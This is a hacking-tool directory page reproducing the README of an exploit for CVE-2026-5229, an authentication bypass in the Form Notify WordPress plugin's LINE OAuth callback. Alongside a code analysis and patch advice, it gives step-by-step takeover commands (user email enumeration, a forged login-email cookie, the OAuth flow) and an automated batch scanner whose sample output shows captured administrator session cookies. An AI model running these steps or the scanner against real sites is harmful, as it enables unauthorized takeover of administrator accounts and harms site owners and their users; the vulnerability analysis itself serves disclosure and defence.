Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/xxconi/cve-2026-5229
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & Education
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

Form Notify — LINE OAuth Authentication Bypass Scanner

Plugin: Form Notify (form-notify) Vulnerability Type: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Affected Versions: <= 1.1.10 Patched Version: 1.1.11+ Researcher: Paolo Tresso — Wordfence


📌 About the Vulnerability

The Form Notify plugin is a WordPress plugin that sends notifications after form submissions and provides a LINE Login OAuth 2.0 integration.

The vulnerability exists in the LINE OAuth callback handler. After the user completes the LINE authorization flow, the plugin resolves the WordPress account solely by email address. It never checks whether the LINE account was previously linked to that WordPress account.


🔍 Version-Based Vulnerability Table

VersionVulnerabilityAttack Method
<= 1.1.08Cookie Injection + Email MatchPath A or Path B
1.1.09 – 1.1.10Email Match (cookie removed)Path B
1.1.11+Patched—

⚙️ Technical Analysis

Open REST Endpoint

The LINE OAuth callback endpoint is registered as completely public:

root@kitploit:~
// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // no authentication required
        },
    )
);

Why Nonce Does Not Provide Protection

WordPress nonces are CSRF tokens, not authentication tokens. Any visitor can obtain a valid nonce from the page HTML and pass the validation check.


Email-Based Account Resolution (1.1.10)

root@kitploit:~
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
root@kitploit:~
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // searches only by email
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // NO linkage check
    }
    return false;
}

If a match is found, the login() method immediately starts a session:

root@kitploit:~
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Cookie Injection (<= 1.1.08)

root@kitploit:~
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

When the LINE profile does not return an email ($user->email is empty), the plugin reads the browser cookie directly. The attacker has full control over this cookie.


State Validation Weakness

root@kitploit:~
$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // If no transient, falls back to $_SESSION
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

If the transient expires, the $_SESSION fallback is used. In most WordPress installations, $_SESSION is not populated at this point → state check can be bypassed.


Secondary Issue — Email = Password (<= 1.1.10)

root@kitploit:~
// sign_up() method
$userdata = array(
    'user_pass' => $user_email,  // password = email address
    ...
);

In accounts created via the LINE OAuth flow, the password is the same as the email address. This directly allows brute-force or login attacks.


🔴 Why Critical?

ReasonDescription
No Authentication RequiredCallback endpoint is completely public
No Linkage CheckAny LINE account is sufficient
Cookie Attack<= 1.1.08 does not even require an email
All Accounts Including Adminget_user_by('email') affects everyone
Weak State ControlCSRF protection can be bypassed
Email = PasswordOAuth-created accounts are vulnerable to trivial brute-force

🧪 Proof of Concept (Manual)

⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.

Prerequisites:

  • Form Notify plugin installed and active, LINE Login configured
  • LINE developer account and LINE Login channel
  • A page on the target site with a LINE login button

Path A — Cookie Injection (<= 1.1.08)

Step 1 — Target Email Discovery

root@kitploit:~
TARGET="https://target.com"

# Get user list from WordPress REST API
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Or via author pages
curl -s "$TARGET/?author=1" -I | grep Location

Step 2 — Set Cookie

Open browser developer tools and paste into console:

root@kitploit:~
document.cookie = "[email protected]; path=/";

Or with curl:

root@kitploit:~
curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

Step 3 — Start LINE OAuth Flow

Open the LINE OAuth URL from the Location header in the browser.

Step 4 — Complete WITHOUT Email Scope

On the LINE consent screen, do not grant email permission, or use a LINE account without an email. LINE redirects to the callback without an email. The plugin falls back to the cookie.

Step 5 — Verify Session

root@kitploit:~
curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

Expected response:

root@kitploit:~
{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

Path B — Email Match (<= 1.1.10)

Step 1 — Target Email Discovery

Same as Path A Step 1.

Step 2 — Create LINE Account

Create a LINE account at account.line.biz with the target email. (Requires email verification — access to the target inbox is necessary.)

Step 3 — Start OAuth Flow

root@kitploit:~
https://target.com/wp-json/form-notify/v1/login

Step 4 — Complete WITH Email Scope

On the LINE consent screen, grant email permission. LINE returns the email address in the callback.

Step 5 — Automatic Authentication

root@kitploit:~
Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator found
     → wp_set_auth_cookie(1)
     → Session started ✓

🛠️ Automated Scanner

Installation

root@kitploit:~
git clone https://github.com/user/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Usage

Single Target — Automatic Email Discovery

root@kitploit:~
python form_notify_rce.py -u http://target.com

Specific Email with Path A (Cookie Injection)

root@kitploit:~
python form_notify_rce.py -u http://target.com \
  --email [email protected] \
  --path A

Path B (Email Match) — Manual Completion

root@kitploit:~
python form_notify_rce.py -u http://target.com \
  --email [email protected] \
  --path B

Both Paths

root@kitploit:~
python form_notify_rce.py -u http://target.com \
  --email [email protected] \
  --path both

Batch Scan

root@kitploit:~
python form_notify_rce.py -l targets.txt -t 15 -o results.txt

Proxy (Burp Suite)

root@kitploit:~
python form_notify_rce.py -u http://target.com \
  --proxy http://127.0.0.1:8080

⚙️ Parameters

ParameterShortDescriptionDefault
--url-uSingle target URL—
--list-lTarget list file—
--threads-tNumber of threads10
--output-oOutput fileauth_bypass.txt
--email—Target user emailautomatic discovery
--path—Attack path (A / B / both)both
--max-users—Max users per target5
--proxy—Proxy URL—
--timeout—Request timeout (s)10

📊 Scanner Output Statuses

StatusDescription
★ AUTH OKSession cookie obtained — fully automatic
★ WP-ADMINRedirected to /wp-admin
~ MANUALOAuth URL ready, complete in browser
~ PATH BManual steps with LINE account
- NO_PLUGINForm Notify not installed
- NO_LINELINE Login not active
~ NO_TARGETUser email not found
~ UNREACHTarget unreachable

🖥️ Example Scanner Output

root@kitploit:~
[*] 3 targets | Form Notify LINE OAuth Bypass | threads=10

[★ AUTH OK   ] http://target1.com  (Path A)
  Target Email : [email protected]
  Version       : 1.1.08
  OAuth URL     : https://access.line.me/oauth2/v2.1/authorize?...
  User          : admin <[email protected]> roles=['administrator']
  Cookie        : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://target2.com  (Path A — Manual completion)
  Target Email : [email protected]
  Cookie Set   : [email protected]
  OAuth URL    : https://access.line.me/oauth2/v2.1/authorize?...
  State        : a1b2c3d4e5f6

[- NO_LINE   ] http://target3.com  (LINE Login not active)

──────────────────────────────────────────────────────────────
  DONE                        :    2
  NO_LINE                     :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────

🛡️ Defense / Patch

MeasureImplementation
Plugin UpdateUpgrade to Form Notify 1.1.11+
LINE Linkage CheckSave LINE ID to user meta, verify at every login
Remove Cookie FallbackEliminate use of $_COOKIE['form_notify_line_email']
State ValidationRemove transient fallback, reject expired state
Password PolicyDo not use email as password in sign_up()
REST Endpoint ProtectionApply rate limiting to the callback endpoint

Safe account resolution example:

root@kitploit:~
// Insecure (current)
$user = get_user_by( 'email', $line_email );

// Secure (recommended)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // match by LINE ID
) );

📁 File Structure

root@kitploit:~
form-notify-bypass/
├── form_notify_rce.py   # Main scanner
├── requirements.txt     # Dependencies
└── README.md            # This file

⚠️ Legal Disclaimer

This tool and PoC are prepared exclusively for authorized systems, educational purposes, and within the scope of penetration testing. Unauthorized use on systems is a crime under the Turkish Penal Code Articles 243-245 and international cybercrime laws. The developer accepts no legal liability arising from misuse of this tool.


📄 License

MIT License — For educational and research purposes only.


🔗 References

  • Wordfence Advisory
  • LINE Login OAuth 2.0 Docs
  • WordPress Plugin Directory — Form Notify
  • CVSS 3.1 Calculator
  • OAuth 2.0 Security Best Practices — RFC 9700
Download Tool